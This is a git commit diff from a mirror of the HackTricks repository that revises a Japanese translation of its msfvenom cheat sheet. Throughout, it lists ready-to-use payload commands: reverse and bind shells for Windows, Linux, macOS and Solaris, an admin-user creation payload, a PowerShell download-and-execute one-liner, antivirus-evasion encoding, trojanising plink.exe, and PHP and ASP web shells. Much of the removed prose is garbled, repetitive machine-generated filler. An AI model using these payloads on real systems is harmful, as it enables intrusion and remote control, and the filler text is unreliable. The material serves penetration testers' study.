mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
Translated ['generic-methodologies-and-resources/shells/msfvenom.md', 'p
This commit is contained in:
parent
dc5b00c312
commit
82de1eae97
6 changed files with 352 additions and 649 deletions
BIN
.gitbook/assets/image (667).png
Normal file
BIN
.gitbook/assets/image (667).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 26 KiB |
BIN
.gitbook/assets/image (668).png
Normal file
BIN
.gitbook/assets/image (668).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 26 KiB |
BIN
.gitbook/assets/image (669).png
Normal file
BIN
.gitbook/assets/image (669).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 28 KiB |
|
@ -5,19 +5,19 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを!
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう!
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグバウンティの場です。**
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
**Web3ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のWeb3セキュリティをマスターしましょう。
|
||||
|
@ -25,17 +25,19 @@ HackenProofのバウンティは、顧客が報酬予算を入金した後に開
|
|||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから報酬を得ましょう!
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本的なmsfvenom
|
||||
|
||||
`msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>`
|
||||
|
||||
または、`-a`を使用してアーキテクチャを指定するか、`--platform`を使用することもできます。
|
||||
`-a`を使用してアーキテクチャを指定することもできます。または、`--platform`を使用します。
|
||||
|
||||
## リスト
|
||||
## リスト表示
|
||||
```bash
|
||||
msfvenom -l payloads #Payloads
|
||||
msfvenom -l encoders #Encoders
|
||||
|
@ -47,7 +49,7 @@ When creating a shellcode, there are several common parameters that can be used
|
|||
- **LHOST**: The local IP address or hostname that the reverse shell will connect back to.
|
||||
- **LPORT**: The local port number that the reverse shell will use for the connection.
|
||||
- **RHOST**: The remote IP address or hostname that the bind shell will listen on.
|
||||
- **RPORT**: The remote port number that the bind shell will use for the connection.
|
||||
- **RPORT**: The remote port number that the bind shell will listen on.
|
||||
- **EXITFUNC**: The method used to exit the shellcode after execution.
|
||||
- **Encoder**: The encoding method used to obfuscate the shellcode.
|
||||
- **BadChars**: Any characters that should be avoided in the shellcode.
|
||||
|
@ -58,7 +60,7 @@ When creating a shellcode, there are several common parameters that can be used
|
|||
- **LHOST**:リバースシェルが接続するローカルIPアドレスまたはホスト名。
|
||||
- **LPORT**:リバースシェルが接続に使用するローカルポート番号。
|
||||
- **RHOST**:バインドシェルがリッスンするリモートIPアドレスまたはホスト名。
|
||||
- **RPORT**:バインドシェルが接続に使用するリモートポート番号。
|
||||
- **RPORT**:バインドシェルがリッスンするリモートポート番号。
|
||||
- **EXITFUNC**:シェルコードの実行後に使用される終了方法。
|
||||
- **エンコーダ**:シェルコードを曖昧化するために使用されるエンコーディング方法。
|
||||
- **BadChars**:シェルコードで回避する必要のある任意の文字。
|
||||
|
@ -70,525 +72,197 @@ When creating a shellcode, there are several common parameters that can be used
|
|||
EXITFUNC=thread
|
||||
PrependSetuid=True #Use this to create a shellcode that will execute something with SUID
|
||||
```
|
||||
## **Windows**
|
||||
|
||||
### **リバースシェル**
|
||||
|
||||
リバースシェルは、ターゲットのWindowsマシンに接続するための一般的な方法です。以下の手順に従って、リバースシェルを作成しましょう。
|
||||
|
||||
1. Metasploitフレームワークを使用して、リバースシェルペイロードを生成します。次のコマンドを実行します。
|
||||
|
||||
```
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=<attacker IP> LPORT=<attacker port> -f exe > shell.exe
|
||||
```
|
||||
|
||||
2. 上記のコマンドを実行すると、`shell.exe`という名前の実行可能ファイルが生成されます。このファイルをターゲットマシンに送信します。
|
||||
|
||||
3. ターゲットマシンで`shell.exe`を実行します。これにより、ターゲットマシンが攻撃者のIPアドレスとポートに接続し、リバースシェルが確立されます。
|
||||
|
||||
4. 攻撃者は、Metasploitフレームワークのマルチハンドラを使用して、リバースシェルに接続します。次のコマンドを実行します。
|
||||
|
||||
```
|
||||
use exploit/multi/handler
|
||||
set payload windows/shell_reverse_tcp
|
||||
set LHOST <attacker IP>
|
||||
set LPORT <attacker port>
|
||||
exploit
|
||||
```
|
||||
|
||||
5. 上記のコマンドを実行すると、攻撃者はリバースシェルに接続され、ターゲットマシンを制御することができます。
|
||||
|
||||
以上がWindowsでのリバースシェルの作成手順です。この手法を使用することで、ターゲットマシンに対してリモートでアクセスし、制御することができます。
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe
|
||||
```
|
||||
A bind shell is a type of shell that listens for incoming connections on a specific port. Once a connection is established, the bind shell provides a command prompt interface to interact with the compromised system. This allows an attacker to remotely control the system and execute commands.
|
||||
### バインドシェル
|
||||
|
||||
To create a bind shell payload using msfvenom, you can use the following command:
|
||||
|
||||
```
|
||||
msfvenom -p <payload> LHOST=<attacker IP> LPORT=<port> -f <format> -o <output file>
|
||||
```
|
||||
|
||||
- `<payload>`: The payload to use, such as `windows/meterpreter/reverse_tcp` or `linux/x86/shell/bind_tcp`.
|
||||
- `<attacker IP>`: The IP address of the attacker machine.
|
||||
- `<port>`: The port number to listen on.
|
||||
- `<format>`: The output format, such as `exe`, `elf`, or `raw`.
|
||||
- `<output file>`: The file to save the generated payload.
|
||||
|
||||
For example, to create a bind shell payload for a Windows system, listening on port 4444, and save it as an executable file named `shell.exe`, you can use the following command:
|
||||
|
||||
```
|
||||
msfvenom -p windows/meterpreter/bind_tcp LHOST=<attacker IP> LPORT=4444 -f exe -o shell.exe
|
||||
```
|
||||
|
||||
Remember to replace `<attacker IP>` with the actual IP address of your machine.
|
||||
|
||||
Once the payload is generated, you can transfer it to the target system and execute it to establish a bind shell connection.
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe
|
||||
```
|
||||
To create a user, you can use the `msfvenom` tool in Metasploit. The `msfvenom` tool allows you to generate various types of payloads, including shellcode, which can be used to create a user on a target system.
|
||||
### ユーザーの作成
|
||||
|
||||
Here is an example command to create a user using `msfvenom`:
|
||||
|
||||
```plaintext
|
||||
msfvenom -p windows/adduser USER=username PASS=password -f exe > adduser.exe
|
||||
```
|
||||
|
||||
This command generates an executable file (`adduser.exe`) that, when executed on a Windows system, will create a new user with the specified username and password.
|
||||
|
||||
You can customize the payload by changing the `USER` and `PASS` parameters to the desired username and password, respectively. Additionally, you can specify a different output format by modifying the `-f` option.
|
||||
|
||||
Remember to use this technique responsibly and only on systems that you have proper authorization to access.
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### CMDシェル
|
||||
|
||||
The CMD shell is a command-line interpreter for Windows operating systems. It provides a way to interact with the operating system by executing commands and scripts. The CMD shell is commonly used by system administrators and power users for various tasks, such as managing files and directories, running programs, and configuring system settings.
|
||||
|
||||
#### Creating a CMD Shell Payload with msfvenom
|
||||
|
||||
To create a CMD shell payload using msfvenom, you can use the following command:
|
||||
|
||||
```
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=<attacker IP> LPORT=<attacker port> -f exe > shell.exe
|
||||
```
|
||||
|
||||
Replace `<attacker IP>` with your IP address and `<attacker port>` with the port number you want to use for the reverse shell connection.
|
||||
|
||||
This command will generate a Windows executable file named `shell.exe` that, when executed on the target system, will establish a reverse TCP connection to your machine.
|
||||
|
||||
#### Executing the CMD Shell Payload
|
||||
|
||||
To execute the CMD shell payload on the target system, you can use various methods, such as social engineering, exploiting vulnerabilities, or using a post-exploitation framework like Metasploit.
|
||||
|
||||
Once the payload is executed on the target system, it will establish a reverse TCP connection to your machine. You can then interact with the CMD shell on the target system through your listener.
|
||||
|
||||
#### Conclusion
|
||||
|
||||
The CMD shell is a powerful tool for interacting with Windows operating systems. By creating and executing CMD shell payloads, you can gain remote access to target systems and perform various tasks for penetration testing or other purposes.
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe
|
||||
```
|
||||
### **コマンドの実行**
|
||||
|
||||
The `msfvenom` tool can be used to generate payloads that can execute arbitrary commands on the target system. This can be useful for various purposes, such as gaining remote access or performing post-exploitation activities.
|
||||
|
||||
`msfvenom` provides the `exec` payload option, which allows you to specify a command to be executed on the target system. The generated payload can then be delivered to the target using various methods, such as email attachments, malicious downloads, or social engineering techniques.
|
||||
|
||||
To generate a payload that executes a command, you can use the following command:
|
||||
|
||||
```
|
||||
msfvenom -p cmd/unix/reverse <options>
|
||||
```
|
||||
|
||||
Replace `<options>` with the appropriate options for your specific scenario. For example, you can specify the IP address and port number of your listener using the `LHOST` and `LPORT` options.
|
||||
|
||||
Once the payload is generated, you can deliver it to the target and execute the command by establishing a connection to your listener. This can be done using tools like `netcat` or `meterpreter`.
|
||||
|
||||
Keep in mind that executing arbitrary commands on a target system without proper authorization is illegal and unethical. Always ensure that you have the necessary permissions and legal authorization before performing any actions that may compromise the security of a system.
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
|
||||
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### エンコーダ
|
||||
|
||||
An encoder is a tool used in hacking to obfuscate or encode malicious payloads. It is commonly used to bypass security measures such as antivirus software. By encoding the payload, the hacker can make it more difficult for security systems to detect and analyze the malicious code.
|
||||
|
||||
エンコーダは、悪意のあるペイロードを曖昧化またはエンコードするために使用されるツールです。これは、アンチウイルスソフトウェアなどのセキュリティ対策を回避するために一般的に使用されます。ペイロードをエンコードすることで、ハッカーはセキュリティシステムが悪意のあるコードを検出および分析するのをより困難にすることができます。
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe
|
||||
```
|
||||
### 実行可能ファイルに埋め込まれた形で
|
||||
### 実行可能ファイルに埋め込まれた
|
||||
|
||||
When conducting a penetration test, it may be necessary to embed a payload inside an executable file. This can be done using the `msfvenom` tool, which is part of the Metasploit Framework. `msfvenom` allows you to generate various types of payloads, including shellcode, which can then be embedded inside an executable file.
|
||||
|
||||
To embed a payload inside an executable file, you can use the following command:
|
||||
|
||||
```
|
||||
msfvenom -p <payload> -f <format> -o <output_file>
|
||||
```
|
||||
|
||||
Here, `<payload>` refers to the type of payload you want to generate, such as a reverse shell or a meterpreter session. `<format>` specifies the format of the output file, such as exe or elf. `<output_file>` is the name of the file that will contain the embedded payload.
|
||||
|
||||
For example, to generate a reverse shell payload and embed it inside an executable file named `exploit.exe`, you can use the following command:
|
||||
|
||||
```
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<attacker_port> -f exe -o exploit.exe
|
||||
```
|
||||
|
||||
In this command, `windows/meterpreter/reverse_tcp` is the payload type for a reverse shell, `<attacker_ip>` is the IP address of the attacker machine, and `<attacker_port>` is the port on which the attacker machine is listening.
|
||||
|
||||
Once the payload is embedded inside the executable file, it can be executed on the target machine to establish a connection back to the attacker machine. This allows the attacker to gain remote access and control over the target machine.
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe
|
||||
```
|
||||
A reverse shell is a type of payload that allows an attacker to establish a connection from the target machine to their own machine. This enables the attacker to gain remote access to the target machine and execute commands.
|
||||
{% endcode %}
|
||||
|
||||
To create a reverse shell payload using `msfvenom`, you can use the following command:
|
||||
## Linuxのペイロード
|
||||
|
||||
```bash
|
||||
msfvenom -p <payload> LHOST=<attacker IP> LPORT=<attacker port> -f <format> -o <output file>
|
||||
```
|
||||
### リバースシェル
|
||||
|
||||
- `<payload>`: The payload to use. This can be any payload supported by Metasploit Framework.
|
||||
- `<attacker IP>`: The IP address of the attacker machine.
|
||||
- `<attacker port>`: The port on the attacker machine to listen on.
|
||||
- `<format>`: The format of the output file. This can be any format supported by `msfvenom`, such as `elf`, `exe`, `raw`, etc.
|
||||
- `<output file>`: The name of the output file to save the payload.
|
||||
|
||||
For example, to create a reverse shell payload using the `linux/x86/shell_reverse_tcp` payload, with the attacker IP set to `192.168.0.100` and the attacker port set to `4444`, and save the payload as `reverse_shell.elf`, you can use the following command:
|
||||
|
||||
```bash
|
||||
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.0.100 LPORT=4444 -f elf -o reverse_shell.elf
|
||||
```
|
||||
|
||||
Once the payload is created, you can transfer it to the target machine and execute it to establish a reverse shell connection.
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
|
||||
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
|
||||
```
|
||||
### バインドシェル
|
||||
|
||||
バインドシェルは、攻撃者がターゲットマシンに接続し、リモートでコマンドを実行するための方法です。バインドシェルを使用すると、攻撃者はターゲットマシンの制御を取得し、様々な操作を行うことができます。
|
||||
|
||||
バインドシェルを作成するために、私たちは`msfvenom`ツールを使用します。`msfvenom`は、Metasploitフレームワークの一部であり、様々なペイロードを生成するために使用されます。
|
||||
|
||||
以下のコマンドを使用して、バインドシェルのペイロードを生成します。
|
||||
|
||||
```plaintext
|
||||
msfvenom -p <payload> LHOST=<attacker IP> LPORT=<attacker port> -f <format> -o <output file>
|
||||
```
|
||||
|
||||
- `<payload>`: 使用するペイロードの種類を指定します。
|
||||
- `<attacker IP>`: 攻撃者のIPアドレスを指定します。
|
||||
- `<attacker port>`: 攻撃者が接続するポート番号を指定します。
|
||||
- `<format>`: ペイロードの出力形式を指定します。
|
||||
- `<output file>`: 生成されたペイロードを保存するファイルのパスを指定します。
|
||||
|
||||
例えば、以下のコマンドを使用して、Linuxシステム向けのバインドシェルを生成します。
|
||||
|
||||
```plaintext
|
||||
msfvenom -p linux/x86/shell_bind_tcp LHOST=192.168.0.100 LPORT=4444 -f elf -o shell.elf
|
||||
```
|
||||
|
||||
このコマンドは、`linux/x86/shell_bind_tcp`ペイロードを使用し、攻撃者のIPアドレスが`192.168.0.100`であり、ポート番号が`4444`であるバインドシェルを生成します。出力形式は`elf`であり、生成されたペイロードは`shell.elf`という名前のファイルに保存されます。
|
||||
|
||||
バインドシェルを作成した後は、攻撃者は生成されたペイロードをターゲットマシンにデプロイし、接続を確立することができます。これにより、攻撃者はターゲットマシン上でコマンドを実行し、システムにアクセスすることができます。
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf
|
||||
```
|
||||
{% code overflow="wrap" %}
|
||||
|
||||
### SunOS(Solaris)
|
||||
|
||||
SunOS(Solaris)は、Sun Microsystemsによって開発された商用のUNIXオペレーティングシステムです。SunOSは、高い信頼性とスケーラビリティを備えたサーバー向けのオペレーティングシステムとして広く使用されています。
|
||||
|
||||
#### ペイロードの生成
|
||||
|
||||
msfvenomコマンドを使用して、SunOS(Solaris)向けのペイロードを生成することができます。以下のコマンドを使用して、指定したアーキテクチャとフォーマットに基づいたペイロードを生成します。
|
||||
|
||||
```plaintext
|
||||
msfvenom -p <payload> -f <format> -a <architecture> -o <output>
|
||||
```
|
||||
|
||||
- `<payload>`: 使用するペイロードの種類を指定します。
|
||||
- `<format>`: 生成するペイロードのフォーマットを指定します。
|
||||
- `<architecture>`: ターゲットのアーキテクチャを指定します。
|
||||
- `<output>`: 生成されたペイロードの出力先ファイルを指定します。
|
||||
|
||||
#### ペイロードの実行
|
||||
|
||||
生成されたペイロードをターゲットマシンで実行するには、以下の手順に従います。
|
||||
|
||||
1. ペイロードをターゲットマシンに転送します。
|
||||
2. ペイロードを実行するための適切な方法を選択します。これには、リバースシェルやコマンドシェルなどの一般的な方法があります。
|
||||
3. ペイロードを実行し、ターゲットマシンにアクセスします。
|
||||
|
||||
#### ペイロードのエクスプロイト
|
||||
|
||||
ペイロードを使用してエクスプロイトを実行するには、以下の手順に従います。
|
||||
|
||||
1. ターゲットマシンにペイロードを転送します。
|
||||
2. ペイロードを実行するための適切な方法を選択します。これには、リバースシェルやコマンドシェルなどの一般的な方法があります。
|
||||
3. ペイロードを実行し、ターゲットマシンにアクセスします。
|
||||
4. エクスプロイトを実行し、ターゲットシステムの脆弱性を悪用します。
|
||||
|
||||
#### ペイロードのカスタマイズ
|
||||
|
||||
msfvenomコマンドを使用して生成されたペイロードは、必要に応じてカスタマイズすることができます。以下のオプションを使用して、ペイロードのプロパティを変更します。
|
||||
|
||||
- `-b <badchars>`: 使用しない文字を指定します。
|
||||
- `-e <encoder>`: ペイロードをエンコードするエンコーダを指定します。
|
||||
- `-i <iterations>`: エンコーダの反復回数を指定します。
|
||||
- `-x <template>`: ペイロードをテンプレートに基づいて生成します。
|
||||
|
||||
#### ペイロードの検出回避
|
||||
|
||||
生成されたペイロードが検出されないようにするためには、以下の手法を使用することができます。
|
||||
|
||||
- エンコーディング: ペイロードをエンコードして、シグネチャベースの検出を回避します。
|
||||
- アンチバイパス: ペイロードがバイパスされるのを防ぐためのテクニックを使用します。
|
||||
- パッキング: ペイロードをパッキングして、検出を回避します。
|
||||
|
||||
#### ペイロードのリバースシェル
|
||||
|
||||
リバースシェルは、ターゲットマシンから攻撃者のマシンに接続するための方法です。以下の手順に従って、リバースシェルを実現するペイロードを生成します。
|
||||
|
||||
1. 攻撃者のマシンでリスニングポートを開きます。
|
||||
2. ターゲットマシンにリバースシェルペイロードを送信します。
|
||||
3. ターゲットマシンが攻撃者のマシンに接続します。
|
||||
|
||||
#### ペイロードのコマンドシェル
|
||||
|
||||
コマンドシェルは、ターゲットマシン上でコマンドを実行するための方法です。以下の手順に従って、コマンドシェルを実現するペイロードを生成します。
|
||||
|
||||
1. ターゲットマシンにコマンドシェルペイロードを送信します。
|
||||
2. 攻撃者はコマンドを実行するために、ターゲットマシンとの対話的なセッションを確立します。
|
||||
|
||||
#### ペイロードのファイルアップロード
|
||||
|
||||
ファイルアップロードペイロードを使用すると、ターゲットマシンにファイルをアップロードすることができます。以下の手順に従って、ファイルアップロードを実現するペイロードを生成します。
|
||||
|
||||
1. 攻撃者のマシンでファイルを準備します。
|
||||
2. ターゲットマシンにファイルアップロードペイロードを送信します。
|
||||
3. ペイロードが実行され、ファイルがターゲットマシンにアップロードされます。
|
||||
|
||||
#### ペイロードのファイルダウンロード
|
||||
|
||||
ファイルダウンロードペイロードを使用すると、ターゲットマシンからファイルをダウンロードすることができます。以下の手順に従って、ファイルダウンロードを実現するペイロードを生成します。
|
||||
|
||||
1. ターゲットマシンにファイルダウンロードペイロードを送信します。
|
||||
2. 攻撃者のマシンでファイルを受信するためのリスニングポートを開きます。
|
||||
3. ペイロードが実行され、ファイルが攻撃者のマシンにダウンロードされます。
|
||||
|
||||
#### ペイロードのキーロガー
|
||||
|
||||
キーロガーペイロードを使用すると、ターゲットマシンでのキーストロークを記録することができます。以下の手順に従って、キーロガーを実現するペイロードを生成します。
|
||||
|
||||
1. ターゲットマシンにキーロガーペイロードを送信します。
|
||||
2. キーロガーが実行され、キーストロークが記録されます。
|
||||
3. 攻撃者は記録されたキーストロークを収集します。
|
||||
|
||||
#### ペイロードのスクリーンショット
|
||||
|
||||
スクリーンショットペイロードを使用すると、ターゲットマシンの画面をキャプチャすることができます。以下の手順に従って、スクリーンショットを実現するペイロードを生成します。
|
||||
|
||||
1. ターゲットマシンにスクリーンショットペイロードを送信します。
|
||||
2. スクリーンショットが実行され、ターゲットマシンの画面がキャプチャされます。
|
||||
3. 攻撃者はキャプチャされた画像を収集します。
|
||||
|
||||
#### ペイロードのデータベースアクセス
|
||||
|
||||
データベースアクセスペイロードを使用すると、ターゲットマシン上のデータベースにアクセスすることができます。以下の手順に従って、データベースアクセスを実現するペイロードを生成します。
|
||||
|
||||
1. ターゲットマシンにデータベースアクセスペイロードを送信します。
|
||||
2. ペイロードが実行され、データベースにアクセスします。
|
||||
3. 攻撃者はデータベース内の情報を収集します。
|
||||
|
||||
#### ペイロードのネットワークスキャン
|
||||
|
||||
ネットワークスキャンペイロードを使用すると、ターゲットネットワーク上のホストやサービスをスキャンすることができます。以下の手順に従って、ネットワークスキャンを実現するペイロードを生成します。
|
||||
|
||||
1. ターゲットマシンにネットワークスキャンペイロードを送信します。
|
||||
2. ペイロードが実行され、ターゲットネットワーク上のホストやサービスをスキャンします。
|
||||
3. 攻撃者はスキャン結果を収集します。
|
||||
|
||||
#### ペイロードのパスワードクラッキング
|
||||
|
||||
パスワードクラッキングペイロードを使用すると、ターゲットマシン上のパスワードを解読することができます。以下の手順に従って、パスワードクラッキングを実現するペイロードを生成します。
|
||||
|
||||
1. ターゲットマシンにパスワードクラッキングペイロードを送信します。
|
||||
2. ペイロードが実行され、パスワードを解読します。
|
||||
3. 攻撃者は解読されたパスワードを収集します。
|
||||
|
||||
#### ペイロードのデータベースインジェクション
|
||||
|
||||
データベースインジェクションペイロードを使用すると、ターゲットマシン上のデータベースに対してインジェクション攻撃を実行することができます。以下の手順に従って、データベースインジェクションを実現するペイロードを生成します。
|
||||
|
||||
1. ターゲットマシンにデータベースインジェクションペイロードを送信します。
|
||||
2. ペイロードが実行され、データベースに対してインジェクション攻撃を実行します。
|
||||
3. 攻撃者はインジェクション攻撃によって取得されたデータを収集します。
|
||||
{% endcode %}
|
||||
```bash
|
||||
msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## **MAC ペイロード**
|
||||
|
||||
### **リバースシェル:**
|
||||
|
||||
A reverse shell is a type of shell in which the target machine initiates the connection to the attacker's machine. This allows the attacker to gain remote access to the target machine and execute commands. In Metasploit, you can generate a reverse shell payload using the `msfvenom` tool.
|
||||
|
||||
リバースシェルは、ターゲットマシンが攻撃者のマシンに接続を開始するタイプのシェルです。これにより、攻撃者はターゲットマシンにリモートアクセスしてコマンドを実行することができます。Metasploitでは、`msfvenom`ツールを使用してリバースシェルペイロードを生成することができます。
|
||||
|
||||
To generate a reverse shell payload for macOS, you can use the following command:
|
||||
|
||||
macOS用のリバースシェルペイロードを生成するには、次のコマンドを使用します:
|
||||
|
||||
```plaintext
|
||||
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<attacker IP> LPORT=<attacker port> -f <output format> > <output file>
|
||||
```
|
||||
|
||||
Replace `<attacker IP>` with the IP address of your machine and `<attacker port>` with the port number you want to use for the connection. `<output format>` can be any supported format, such as `elf`, `macho`, or `app`. `<output file>` is the name of the file where the payload will be saved.
|
||||
|
||||
`<attacker IP>`を自分のマシンのIPアドレスに、`<attacker port>`を接続に使用するポート番号に置き換えてください。`<output format>`は、`elf`、`macho`、`app`などのサポートされている形式であることができます。`<output file>`は、ペイロードが保存されるファイルの名前です。
|
||||
|
||||
Once the payload is generated, you can transfer it to the target machine and execute it to establish a reverse shell connection.
|
||||
|
||||
ペイロードが生成されたら、それをターゲットマシンに転送し、リバースシェル接続を確立するために実行することができます。
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho
|
||||
```
|
||||
バインドシェルは、攻撃者がターゲットマシンに接続するためのシェルを作成する方法です。バインドシェルを使用すると、攻撃者はリモートでコマンドを実行し、ターゲットマシンを制御することができます。
|
||||
{% endcode %}
|
||||
|
||||
バインドシェルを作成するために、`msfvenom`ツールを使用します。`msfvenom`は、Metasploitフレームワークの一部であり、様々なペイロードを生成するために使用されます。
|
||||
### **バインドシェル**
|
||||
|
||||
以下のコマンドを使用して、バインドシェルを作成します。
|
||||
|
||||
```plaintext
|
||||
msfvenom -p <payload> LHOST=<attacker IP> LPORT=<attacker port> -f <format> -o <output file>
|
||||
```
|
||||
|
||||
- `<payload>`: 使用するペイロードの種類を指定します。
|
||||
- `<attacker IP>`: 攻撃者のIPアドレスを指定します。
|
||||
- `<attacker port>`: 攻撃者が接続するポート番号を指定します。
|
||||
- `<format>`: 出力ファイルの形式を指定します。
|
||||
- `<output file>`: 作成されるバインドシェルの出力先ファイルを指定します。
|
||||
|
||||
例えば、以下のコマンドを使用して、Linuxシステム向けのバインドシェルを作成します。
|
||||
|
||||
```plaintext
|
||||
msfvenom -p linux/x86/shell_bind_tcp LHOST=<attacker IP> LPORT=<attacker port> -f <format> -o <output file>
|
||||
```
|
||||
|
||||
このコマンドを実行すると、指定した形式と出力先ファイルにバインドシェルが生成されます。生成されたバインドシェルを使用して、攻撃者はターゲットマシンに接続し、コマンドを実行することができます。
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## **Webベースのペイロード**
|
||||
|
||||
### **PHP**
|
||||
|
||||
#### 逆シェル
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
|
||||
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
|
||||
```
|
||||
The ASP/x reverse shell is a payload that allows an attacker to gain remote access to a target system running ASP or ASP.NET. This payload can be generated using the `msfvenom` tool, which is part of the Metasploit Framework.
|
||||
{% endcode %}
|
||||
|
||||
To generate an ASP/x reverse shell payload, you can use the following `msfvenom` command:
|
||||
### ASP/x
|
||||
|
||||
```plaintext
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker IP> LPORT=<attacker port> -f asp > shell.asp
|
||||
```
|
||||
#### リバースシェル
|
||||
|
||||
